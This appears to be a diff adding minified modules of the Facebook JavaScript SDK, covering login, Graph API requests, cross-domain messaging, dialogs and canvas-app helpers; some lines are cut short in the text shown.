+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("Base64",[],function(a,b,c,d,e,f){var g='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';function h(l){l=(l.charCodeAt(0)<<16)|(l.charCodeAt(1)<<8)|l.charCodeAt(2);return String.fromCharCode(g.charCodeAt(l>>>18),g.charCodeAt((l>>>12)&63),g.charCodeAt((l>>>6)&63),g.charCodeAt(l&63));}var i='>___?456789:;<=_______'+'\0\1\2\3\4\5\6\7\b\t\n\13\f\r\16\17\20\21\22\23\24\25\26\27\30\31'+'______\32\33\34\35\36\37 !"#$%&\'()*+,-./0123';function j(l){l=(i.charCodeAt(l.charCod [...]
+__d("sdk.SignedRequest",["Base64"],function(a,b,c,d,e,f){var g=b('Base64');function h(j){if(!j)return null;var k=j.split('.',2)[1].replace(/\-/g,'+').replace(/\_/g,'/');return g.decodeObject(k);}var i={parse:h};e.exports=i;});
+__d("UrlMap",["UrlMapConfig"],function(a,b,c,d,e,f){var g=b('UrlMapConfig'),h={resolve:function(i,j){var k=typeof j=='undefined'?location.protocol.replace(':',''):j?'https':'http';if(i in g)return k+'://'+g[i];if(typeof j=='undefined'&&i+'_'+k in g)return k+'://'+g[i+'_'+k];if(j!==true&&i+'_http' in g)return 'http://'+g[i+'_http'];if(j!==false&&i+'_https' in g)return 'https://'+g[i+'_https'];}};e.exports=h;});
+__d("URL",["Assert","copyProperties","QueryString","Log"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('QueryString'),j=b('Log'),k=new RegExp('('+'(((\\w+):)?//)'+'(.*?@)?'+'([^~/?#:]+)'+'(:(\\d+))?'+')?'+'([^\\?$#]+)?'+'(\\?([^$#]+))?'+'(#([^$]+))?'),l=/[\0\\]/,m=/[^\w\-\.,;\/?:@=&%#$~+!*'\[\]()]+/g,n=/^[a-z0-9.][a-z0-9\-\.]+[a-z0-9.]$/,o=/\.facebook\.com$/;function p(q){g.isString(q,'The passed argument was of invalid type.');if(l.test(q))throw new URIError('The pa [...]
+__d("sdk.domReady",[],function(a,b,c,d,e,f){var g,h="readyState" in document?/loaded|complete/.test(document.readyState):!!document.body;function i(){if(!g)return;var l;while(l=g.shift())l();g=null;}function j(l){if(g){g.push(l);return;}else l();}if(!h){g=[];if(document.addEventListener){document.addEventListener('DOMContentLoaded',i,false);window.addEventListener('load',i,false);}else if(document.attachEvent){document.attachEvent('onreadystatechange',i);window.attachEvent('onload',i);}i [...]
+__d("sdk.Content",["sdk.domReady","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.domReady'),h=b('Log'),i=b('UserAgent'),j,k,l={append:function(m,n){if(!n)if(!j){j=n=document.getElementById('fb-root');if(!n){h.warn('The "fb-root" div has not been created, auto-creating');j=n=document.createElement('div');n.id='fb-root';if(i.ie()||!document.body){g(function(){document.body.appendChild(n);});}else document.body.appendChild(n);}n.className+=' fb_reset';}else n=j;if(typeof m=='string') [...]
+__d("sdk.Event",[],function(a,b,c,d,e,f){var g={subscribers:function(){if(!this._subscribersMap)this._subscribersMap={};return this._subscribersMap;},subscribe:function(h,i){var j=this.subscribers();if(!j[h]){j[h]=[i];}else j[h].push(i);},unsubscribe:function(h,i){var j=this.subscribers()[h];if(j)ES5(j,'forEach',true,function(k,l){if(k==i)j[l]=null;});},monitor:function(h,i){if(!i()){var j=this,k=function(){if(i.apply(i,arguments))j.unsubscribe(h,k);};this.subscribe(h,k);}},clear:functio [...]
+__d("Queue",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties'),h={};function i(j){this._opts=g({interval:0,processor:null},j);this._queue=[];this._stopped=true;}g(i.prototype,{_dispatch:function(j){if(this._stopped||this._queue.length===0)return;if(!this._opts.processor){this._stopped=true;throw new Error('No processor available');}if(this._opts.interval){this._opts.processor.call(this,this._queue.shift());this._timeout=setTimeout(ES5(this._dispatch,'bind',true,this),this [...]
+__d("resolveURI",[],function(a,b,c,d,e,f){function g(h){if(!h)return window.location.href;h=h.replace(/&/g,'&').replace(/"/g,'"');var i=document.createElement('div');i.innerHTML='<a href="'+h+'"></a>';return i.firstChild.href;}e.exports=g;});
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("JSONRPC",["copyProperties","Log"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log');function i(j){this._counter=0;this._callbacks={};this.remote={};this.local={};this._write=j;}g(i.prototype,{stub:function(j){this.remote[j]=ES5(function(){var k=Array.prototype.slice.call(arguments),l={jsonrpc:'2.0',method:j};if(typeof k[k.length-1]=='function'){l.id=++this._counter;this._callbacks[l.id]=k.pop();}l.params=k;this._write(ES5('JSON','stringify',false,l),{method:j});},'bind',tru [...]
+__d("sdk.RPC",["Assert","JSONRPC","Queue"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('JSONRPC'),i=b('Queue'),j=new i(),k=new h(function(m){j.enqueue(m);}),l={local:k.local,remote:k.remote,stub:ES5(k.stub,'bind',true,k),setInQueue:function(m){g.isInstanceOf(i,m);m.start(function(n){k.read(n);});},getOutQueue:function(){return j;}};e.exports=l;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("XDM",["DOMEventListener","DOMWrapper","emptyFunction","Flash","guid","Log","UserAgent","wrapFunction"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('emptyFunction'),j=b('Flash'),k=b('guid'),l=b('Log'),m=b('UserAgent'),n=b('wrapFunction'),o={},p={transports:[]},q=h.getWindow();function r(t){var u={},v=t.length,w=p.transports;while(v--)u[t[v]]=1;v=w.length;while(v--){var x=w[v],y=o[x];if(!u[x]&&y.isAvailable())return x;}}var s={register:function(t,u){l.debug [...]
+__d("sdk.XD",["sdk.Content","sdk.createIframe","sdk.Event","guid","Log","QueryString","Queue","resolveURI","resolveWindow","sdk.RPC","sdk.Runtime","UrlMap","URL","wrapFunction","XDM","XDConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('sdk.createIframe'),i=b('sdk.Event'),j=b('guid'),k=b('Log'),l=b('QueryString'),m=b('Queue'),n=b('resolveURI'),o=b('resolveWindow'),p=b('sdk.RPC'),q=b('sdk.Runtime'),r=b('UrlMap'),s=b('URL'),t=b('wrapFunction'),u=c('XDConfig'),v=b('XDM'),w=new m(),x [...]
+__d("sdk.Auth",["sdk.Cookie","copyProperties","sdk.createIframe","DOMWrapper","sdk.getContextType","guid","Log","ObservableMixin","QueryString","sdk.Runtime","sdk.SignedRequest","UrlMap","URL","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('sdk.createIframe'),j=b('DOMWrapper'),k=b('sdk.getContextType'),l=b('guid'),m=b('Log'),n=b('ObservableMixin'),o=b('QueryString'),p=b('sdk.Runtime'),q=b('sdk.SignedRequest'),r=b('UrlMap'),s=b('URL'),t=b('sdk.XD'),u,v,w=n [...]
+__d("dotAccess",[],function(a,b,c,d,e,f){function g(h,i,j){var k=i.split('.');do{var l=k.shift();h=h[l]||j&&(h[l]={});}while(k.length&&h);return h;}e.exports=g;});
+__d("hasArrayNature",[],function(a,b,c,d,e,f){function g(h){return (!!h&&(typeof h=='object'||typeof h=='function')&&('length' in h)&&!('setInterval' in h)&&(Object.prototype.toString.call(h)==="[object Array]"||('callee' in h)||('item' in h)));}e.exports=g;});
+__d("createArrayFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){if(!g(i))return [i];if(i.item){var j=i.length,k=new Array(j);while(j--)k[j]=i[j];return k;}return Array.prototype.slice.call(i);}e.exports=h;});
+__d("sdk.DOM",["Assert","createArrayFrom","sdk.domReady","UserAgent"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('createArrayFrom'),i=b('sdk.domReady'),j=b('UserAgent'),k={};function l(z,aa){var ba=(z.getAttribute(aa)||z.getAttribute(aa.replace(/_/g,'-'))||z.getAttribute(aa.replace(/-/g,'_'))||z.getAttribute(aa.replace(/-/g,''))||z.getAttribute(aa.replace(/_/g,''))||z.getAttribute('data-'+aa)||z.getAttribute('data-'+aa.replace(/_/g,'-'))||z.getAttribute('data-'+aa.replace(/-/g,'_'))||z. [...]
+__d("sdk.Scribe",["UrlMap","QueryString"],function(a,b,c,d,e,f){var g=b('UrlMap'),h=b('QueryString');function i(k,l){(new Image()).src=h.appendToUrl(g.resolve('www',true)+'/common/scribe_endpoint.php',{c:k,m:ES5('JSON','stringify',false,l)});}var j={log:i};e.exports=j;});
+__d("sdk.ErrorHandling",["UserAgent","sdk.Scribe","sdk.Runtime","wrapFunction","ManagedError","SDKConfig"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Scribe'),i=c('SDKConfig'),j=b('sdk.Runtime'),k=b('wrapFunction'),l=b('ManagedError'),m=false,n='';function o(v){var w=v._originalError;delete v._originalError;h.log('jssdk_error',{appId:j.getClientID(),error:v.name||v.message,extra:v});throw w;}function p(v){var w={line:v.lineNumber||v.line,message:v.message,name:v.name,script:v.fi [...]
+__d("GlobalCallback",["wrapFunction","dotAccess"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('dotAccess'),i,j,k=0,l={setPrefix:function(m){i=h(window,m,true);j=m;},create:function(m){if(!i)this.setPrefix('window.__globalCallbacks');var n='__gcb'+(++k);i[n]=g(m,'entry','GlobalCallback');return j+'.'+n;},remove:function(m){var n=m.substring(j.length+1);delete i[n];}};e.exports=l;});
+__d("sdk.Impressions",["guid","QueryString","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('guid'),h=b('QueryString'),i=b('sdk.Runtime'),j=b('UrlMap');function k(m){var n=i.getClientID();if(!m.api_key&&n)m.api_key=n;var o=new Image();o.src=h.appendToUrl(j.resolve('www',true)+'/impression.php/'+g()+'/',m);}var l={log:function(m,n){if(!n.source)n.source='jssdk';k({lid:m,payload:ES5('JSON','stringify',false,n)});},impression:k};e.exports=l;});
+__d("sdk.Insights",["sdk.Impressions"],function(a,b,c,d,e,f){var g=b('sdk.Impressions'),h={TYPE:{NOTICE:'notice',WARNING:'warn',ERROR:'error'},CATEGORY:{DEPRECATED:'deprecated',APIERROR:'apierror'},log:function(i,j,k){var l={source:'jssdk',type:i,category:j,payload:k};g.log(113,l);},impression:g.impression};e.exports=h;});
+__d("FB",["sdk.Auth","copyProperties","dotAccess","sdk.domReady","sdk.DOM","sdk.ErrorHandling","sdk.Content","DOMWrapper","GlobalCallback","sdk.Insights","Log","sdk.Runtime","sdk.Scribe","CssConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('copyProperties'),i=c('CssConfig'),j=b('dotAccess'),k=b('sdk.domReady'),l=b('sdk.DOM'),m=b('sdk.ErrorHandling'),n=b('sdk.Content'),o=b('DOMWrapper'),p=b('GlobalCallback'),q=b('sdk.Insights'),r=b('Log'),s=b('sdk.Runtime'),t=b('sdk.Scri [...]
+__d("flattenObject",[],function(a,b,c,d,e,f){function g(h){var i={};for(var j in h)if(h.hasOwnProperty(j)){var k=h[j];if(null===k||undefined===k){continue;}else if(typeof k=='string'){i[j]=k;}else i[j]=ES5('JSON','stringify',false,k);}return i;}e.exports=g;});
+__d("CORSRequest",["wrapFunction","QueryString"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('QueryString');function i(l,m){if(!self.XMLHttpRequest)return null;var n=new XMLHttpRequest(),o=function(){};if('withCredentials' in n){n.open(l,m,true);n.setRequestHeader('Content-type','application/x-www-form-urlencoded');}else if(self.XDomainRequest){n=new XDomainRequest();try{n.open(l,m);n.onprogress=n.ontimeout=o;}catch(p){return null;}}else return null;var q={send:function(t){n.send(t [...]
+__d("FlashRequest",["DOMWrapper","Flash","GlobalCallback","QueryString","Queue"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('Flash'),i=b('GlobalCallback'),j=b('QueryString'),k=b('Queue'),l,m={},n,o;function p(){if(!n)throw new Error('swfUrl has not been set');var s=i.create(function(){l.start(function(u){var v=o.execute(u.method,u.url,u.body);if(!v)throw new Error('Could create request');m[v]=u.callback;});}),t=i.create(function(u,v,w){var x;try{x=ES5('JSON','parse',false,decodeURIC [...]
+__d("JSONPRequest",["DOMWrapper","GlobalCallback","QueryString"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('GlobalCallback'),i=b('QueryString');function j(l,m,n,o){var p=document.createElement('script'),q=function(s){q=function(){};h.remove(n.callback);o(s);p.parentNode.removeChild(p);};n.callback=h.create(q);if(!n.method)n.method=m;l=i.appendToUrl(l,n);if(l.length>2000){h.remove(n.callback);return false;}p.onerror=function(){q({error:{type:'http',message:'unknown error'}});};var r [...]
+__d("ArgumentError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i,j){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("ApiClient",["copyProperties","flattenObject","sprintf","CORSRequest","FlashRequest","JSONPRequest","Log","UrlMap","URL","ArgumentError","Assert","ApiClientConfig"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('flattenObject'),i=b('sprintf'),j=b('CORSRequest'),k=b('FlashRequest'),l=b('JSONPRequest'),m=b('Log'),n=b('UrlMap'),o=b('URL'),p=b('ArgumentError'),q=b('Assert'),r=b('ApiClientConfig'),s,t,u,v,w={get:true,post:true,'delete':true,put:true},x={fql_query:true,fql_multiquery [...]
+__d("sdk.api",["ApiClient","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('ApiClient'),h=b('sdk.Runtime'),i;h.subscribe('ClientID.change',function(k){g.setClientID(k);});h.subscribe('AccessToken.change',function(k){i=k;g.setAccessToken(k);});g.setDefaultParams({sdk:'joey'});g.setInvalidAccessTokenHandler(function(){if(i===h.getAccessToken())h.setAccessToken(null);});function j(){if(typeof arguments[0]==='string'){g.graph.apply(g,arguments);}else g.rest.apply(g,arguments);}e.exports=j;});
+__d("legacy:fb.api",["FB","sdk.api"],function(a,b,c,d){var e=b('FB'),f=b('sdk.api');e.provide('',{api:f});},3);
+__d("sdk.Canvas.Environment",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(k){g.remote.getPageInfo(function(l){k(l.result);});}function i(k,l){g.remote.scrollTo({x:k||0,y:l||0});}g.stub('getPageInfo');g.stub('scrollTo');var j={getPageInfo:h,scrollTo:i};e.exports=j;});
+__d("sdk.Intl",["Log"],function(a,b,c,d,e,f){var g=b('Log'),h=('['+'.!?'+'\u3002'+'\uFF01'+'\uFF1F'+'\u0964'+'\u2026'+'\u0EAF'+'\u1801'+'\u0E2F'+'\uFF0E'+']');function i(l){if(typeof l!='string')return false;return !!l.match(new RegExp(h+'['+')"'+"'"+'\u00BB'+'\u0F3B'+'\u0F3D'+'\u2019'+'\u201D'+'\u203A'+'\u3009'+'\u300B'+'\u300D'+'\u300F'+'\u3011'+'\u3015'+'\u3017'+'\u3019'+'\u301B'+'\u301E'+'\u301F'+'\uFD3F'+'\uFF07'+'\uFF09'+'\uFF3D'+'\\s'+']*$'));}function j(l,m){if(m!==undefined)if(t [...]
+__d("sdk.Dialog",["sdk.Canvas.Environment","sdk.Content","sdk.DOM","DOMEventListener","sdk.Intl","ObservableMixin","sdk.Runtime","Type","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.Canvas.Environment'),h=b('sdk.Content'),i=b('sdk.DOM'),j=b('DOMEventListener'),k=b('sdk.Intl'),l=b('ObservableMixin'),m=b('sdk.Runtime'),n=b('Type'),o=b('UserAgent'),p=n.extend({constructor:function(r,s){this.parent();this.id=r;this.display=s;if(!q._dialogs){q._dialogs={};q._addOrientationHandler();}q._dial [...]
+__d("sdk.Frictionless",["sdk.Auth","sdk.api","sdk.Event","sdk.Dialog"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.api'),i=b('sdk.Event'),j=b('sdk.Dialog'),k={_allowedRecipients:{},_useFrictionless:false,_updateRecipients:function(){k._allowedRecipients={};h('/me/apprequestformerrecipients',function(l){if(!l||l.error)return;ES5(l.data,'forEach',true,function(m){k._allowedRecipients[m.recipient_id]=true;});});},init:function(){k._useFrictionless=true;g.getLoginStatus(function(l){if [...]
+__d("insertIframe",["guid","GlobalCallback"],function(a,b,c,d,e,f){var g=b('guid'),h=b('GlobalCallback');function i(j){j.id=j.id||g();j.name=j.name||g();var k=false,l=false,m=function(){if(k&&!l){l=true;j.onload&&j.onload(j.root.firstChild);}},n=h.create(m);if(document.attachEvent){var o=('<iframe'+' id="'+j.id+'"'+' name="'+j.name+'"'+(j.title?' title="'+j.title+'"':'')+(j.className?' class="'+j.className+'"':'')+' style="border:none;'+(j.width?'width:'+j.width+'px;':'')+(j.height?'heig [...]
+__d("sdk.Native",["copyProperties","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log'),i=b('UserAgent'),j='fbNativeReady',k={onready:function(l){if(!i.nativeApp()){h.error('FB.Native.onready only works when the page is rendered '+'in a WebView of the native Facebook app. Test if this is the '+'case calling FB.UA.nativeApp()');return;}if(window.__fbNative&&!this.nativeReady)g(this,window.__fbNative);if(this.nativeReady){l();}else{var m=function(n){window.removeEv [...]
+__d("sdk.UIServer",["sdk.Auth","sdk.Content","copyProperties","sdk.Dialog","sdk.DOM","sdk.Event","flattenObject","sdk.Frictionless","sdk.getContextType","guid","insertIframe","Log","sdk.Native","QueryString","resolveURI","sdk.RPC","sdk.Runtime","UrlMap","UserAgent","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Content'),i=b('copyProperties'),j=b('sdk.Dialog'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('flattenObject'),n=b('sdk.Frictionless'),o=b('sdk.getContextType'),p=b('guid'), [...]
+__d("sdk.ui",["Assert","copyProperties","Log","sdk.Runtime","sdk.UIServer","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('Log'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('sdk.UIServer');function m(n,o){g.isObject(n);g.maybeFunction(o);n=h({},n);if(!n.method){i.error('"method" is a required parameter for FB.ui().');return null;}if((n.method=='permissions.request'||n.method=='permissions.oauth')&&(n.display=='iframe'||n.display=='dialog')){var p='scope' in n? [...]
+__d("legacy:fb.auth",["sdk.Auth","sdk.Cookie","copyProperties","sdk.Event","FB","Log","sdk.Runtime","sdk.SignedRequest","sdk.ui"],function(a,b,c,d){var e=b('sdk.Auth'),f=b('sdk.Cookie'),g=b('copyProperties'),h=b('sdk.Event'),i=b('FB'),j=b('Log'),k=b('sdk.Runtime'),l=b('sdk.SignedRequest'),m=b('sdk.ui');i.provide('',{getLoginStatus:function(){return e.getLoginStatus.apply(e,arguments);},getAuthResponse:function(){return e.getAuthResponse();},getAccessToken:function(){return k.getAccessTok [...]
+__d("sdk.Canvas.Flash",["sdk.api","sdk.RPC","Log","sdk.Runtime","createArrayFrom"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.RPC'),i=b('Log'),j=b('sdk.Runtime'),k=b('createArrayFrom'),l='CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000',m=null;function n(r){r.style.visibility='hidden';}function o(r){r.style.visibility='';}function p(r){i.info('hideFlashCallback called with %s',r.state);var s=window.document.getElementsByTagName('object');ES5(k(s),'forEach',true,function(t){if(t.type.to [...]
+__d("sdk.Canvas.IframeHandling",["DOMWrapper","sdk.RPC"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('sdk.RPC'),i=null,j;function k(){var o=g.getWindow().document,p=o.body,q=o.documentElement,r=Math.max(p.offsetTop,0),s=Math.max(q.offsetTop,0),t=p.scrollHeight+r,u=p.offsetHeight+r,v=q.scrollHeight+s,w=q.offsetHeight+s;return Math.max(t,u,v,w);}function l(o){if(typeof o!='object')o={};var p=0,q=0;if(!o.height){o.height=k();p=16;q=4;}if(!o.frame)o.frame=window.name||'iframe_canvas';if( [...]
+__d("sdk.Canvas.Navigation",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(j){g.local.navigate=function(k){j({path:k});};g.remote.setNavigationEnabled(true);}g.stub('setNavigationEnabled');var i={setUrlHandler:h};e.exports=i;});
+__d("sdk.Canvas.Tti",["sdk.RPC","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.RPC'),h=b('sdk.Runtime');function i(n,o){var p={appId:h.getClientID(),time:ES5('Date','now',false),name:o},q=[p];if(n)q.push(function(r){n(r.result);});g.remote.logTtiMessage.apply(null,q);}function j(){i(null,'StartIframeAppTtiTimer');}function k(n){i(n,'StopIframeAppTtiTimer');}function l(n){i(n,'RecordIframeAppTti');}g.stub('logTtiMessage');var m={setDoneLoading:l,startTimer:j,stopTimer:k};e.exports=m;});
+__d("legacy:fb.canvas",["Assert","sdk.Canvas.Environment","sdk.Event","FB","sdk.Canvas.Flash","sdk.Canvas.IframeHandling","Log","sdk.Canvas.Navigation","sdk.Runtime","sdk.Canvas.Tti"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.Canvas.Environment'),g=b('sdk.Event'),h=b('FB'),i=b('sdk.Canvas.Flash'),j=b('sdk.Canvas.IframeHandling'),k=b('Log'),l=b('sdk.Canvas.Navigation'),m=b('sdk.Runtime'),n=b('sdk.Canvas.Tti');h.provide('Canvas',{setSize:function(o){e.maybeObject(o,'Invalid argument');r [...]
+__d("sdk.Canvas.Prefetcher",["sdk.api","createArrayFrom","sdk.Runtime","CanvasPrefetcherConfig"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('createArrayFrom'),i=c('CanvasPrefetcherConfig'),j=b('sdk.Runtime'),k={AUTOMATIC:0,MANUAL:1},l=i.sampleRate,m=i.blacklist,n=k.AUTOMATIC,o=[];function p(){var u={object:'data',link:'href',script:'src'};if(n==k.AUTOMATIC)ES5(ES5('Object','keys',false,u),'forEach',true,function(v){var w=u[v];ES5(h(document.getElementsByTagName(v)),'forEach',true,funct [...]
+__d("legacy:fb.canvas.prefetcher",["FB","sdk.Canvas.Prefetcher","sdk.Event","sdk.Runtime"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Canvas.Prefetcher'),g=b('sdk.Event'),h=b('sdk.Runtime');e.provide('Canvas.Prefetcher',f);g.subscribe('init:post',function(i){if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))f._maybeSample();});},3);
+__d("legacy:fb.compat.ui",["copyProperties","FB","Log","sdk.ui","sdk.UIServer"],function(a,b,c,d){var e=b('copyProperties'),f=b('FB'),g=b('Log'),h=b('sdk.ui'),i=b('sdk.UIServer');f.provide('',{share:function(j){g.error('share() has been deprecated. Please use FB.ui() instead.');h({display:'popup',method:'stream.share',u:j});},publish:function(j,k){g.error('publish() has been deprecated. Please use FB.ui() instead.');j=j||{};h(e({display:'popup',method:'stream.publish',preview:1},j||{}),k [...]
+__d("mergeArrays",[],function(a,b,c,d,e,f){function g(h,i){for(var j=0;j<i.length;j++)if(ES5(h,'indexOf',true,i[j])<0)h.push(i[j]);return h;}e.exports=g;});
+__d("format",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);return h.replace(/\{(\d+)\}/g,function(j,k){var l=i[Number(k)];return (l===null||l===undefined)?'':l.toString();});}e.exports=g;});
+__d("safeEval",[],function(a,b,c,d,e,f){function g(h){if(h===null||typeof h==='undefined')return;if(typeof h!=='string')return h;return Function('return eval("'+h.replace(/"/g,'\\"')+'");')();}e.exports=g;});
+__d("sdk.Waitable",["sdk.Model"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=g.extend({constructor:function(){this.parent({Value:undefined});},error:function(i){this.inform("error",i);},wait:function(i,j){if(j)this.subscribe('error',j);this.monitor('Value.change',ES5(function(){var k=this.getValue();if(k!==undefined){this.value=k;i(k);return true;}},'bind',true,this));}});e.exports=h;});
+__d("sdk.Query",["format","safeEval","Type","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('format'),h=b('safeEval'),i=b('Type'),j=b('sdk.Waitable');function k(p){return ES5(p.split(','),'map',true,function(q){return ES5(q,'trim',true);});}function l(p){var q=(/^\s*(\w+)\s*=\s*(.*)\s*$/i).exec(p),r,s,t='unknown';if(q){s=q[2];if(/^(["'])(?:\\?.)*?\1$/.test(s)){s=h(s);t='index';}else if(/^\d+\.?\d*$/.test(s))t='index';}if(t=='index'){r={type:'index',key:q[1],value:s};}else r={type:'unknown' [...]
+__d("sdk.Data",["sdk.api","sdk.ErrorHandling","mergeArrays","sdk.Query","safeEval","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.ErrorHandling'),i=b('mergeArrays'),j=b('sdk.Query'),k=b('safeEval'),l=b('sdk.Waitable'),m={query:function(n,o){var p=new j().parse(Array.prototype.slice.call(arguments));m.queue.push(p);m._waitToProcess();return p;},waitOn:function(n,o){var p=new l(),q=n.length;if(typeof(o)=='string'){var r=o;o=h.unguard(function(){return k(r);});}ES5(n,'for [...]
+__d("legacy:fb.data",["FB","sdk.Data"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Data');e.provide('Data',f);},3);
+__d("legacy:fb.event",["FB","sdk.Event"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Event');e.provide('Event',f);e.provide('EventProvider',f);},3);
+__d("legacy:fb.frictionless",["FB","sdk.Frictionless"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Frictionless');e.provide('Frictionless',f);},3);
+__d("sdk.init",["sdk.Cookie","copyProperties","createArrayFrom","sdk.ErrorHandling","sdk.Event","Log","QueryString","sdk.Runtime","wrapFunction"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.ErrorHandling'),k=b('sdk.Event'),l=b('Log'),m=b('QueryString'),n=b('sdk.Runtime'),o=b('wrapFunction');function p(q){if(n.getInitialized())l.warn('FB.init has already been called - this could indicate a problem');if(/number|string/.test(typeof q)){l [...]
+__d("legacy:fb.init",["FB","sdk.init"],function(a,b,c,d){var e=b('FB'),f=b('sdk.init');e.provide('',{init:f});},3);
+__d("legacy:fb.json",["FB","ManagedError"],function(a,b,c,d){var e=b('FB'),f=b('ManagedError');e.provide('JSON',{stringify:function(g){try{return ES5('JSON','stringify',false,g);}catch(h){throw new f(h.message,h);}},parse:function(g){try{return ES5('JSON','parse',false,g);}catch(h){throw new f(h.message,h);}}});},3);
+__d("legacy:fb.pay",["FB","copyProperties","sdk.Runtime","sdk.UIServer","sdk.XD"],function(a,b,c,d){b('FB');var e=b('copyProperties'),f=b('sdk.Runtime'),g=b('sdk.UIServer'),h=b('sdk.XD'),i={error_code:1383001,error_message:'An unknown error caused the dialog to be closed'},j=function(k){return function(l){k(l&&l.response?ES5('JSON','parse',false,l.response):i);};};e(g.Methods,{'pay.prompt':{transform:function(k){var l=h.handler(j(k.cb),'parent.frames['+(window.name||'iframe_canvas')+']') [...]
+__d("legacy:fb.ua",["FB","UserAgent"],function(a,b,c,d){var e=b('FB'),f=b('UserAgent');e.provide('UA',{nativeApp:f.nativeApp});},3);
+__d("legacy:fb.ui",["FB","sdk.ui"],function(a,b,c,d){var e=b('FB'),f=b('sdk.ui');e.provide('',{ui:f});},3);
+__d("Miny",[],function(a,b,c,d,e,f){var g='Miny1',h={encode:[],decode:{}},i='wxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('');function j(n){for(var o=h.encode.length;o<n;o++){var p=o.toString(32).split('');p[p.length-1]=i[parseInt(p[p.length-1],32)];p=p.join('');h.encode[o]=p;h.decode[p]=o;}return h;}function k(n){var o=n.match(/\w+|\W+/g),p={};for(var q=0;q<o.length;q++)p[o[q]]=(p[o[q]]||0)+1;var r=ES5('Object','keys',false,p);r.sort(function(u,v){return p[u]<p[v]?1:(p[v]<p[u]?-1:0);});var s [...]
+__d("sdk.feature",["SDKConfig"],function(a,b,c,d,e,f){var g=c('SDKConfig');function h(i,j){if(g.features&&i in g.features)return g.features[i];return typeof j!=='undefined'?j:null;}e.exports=h;});
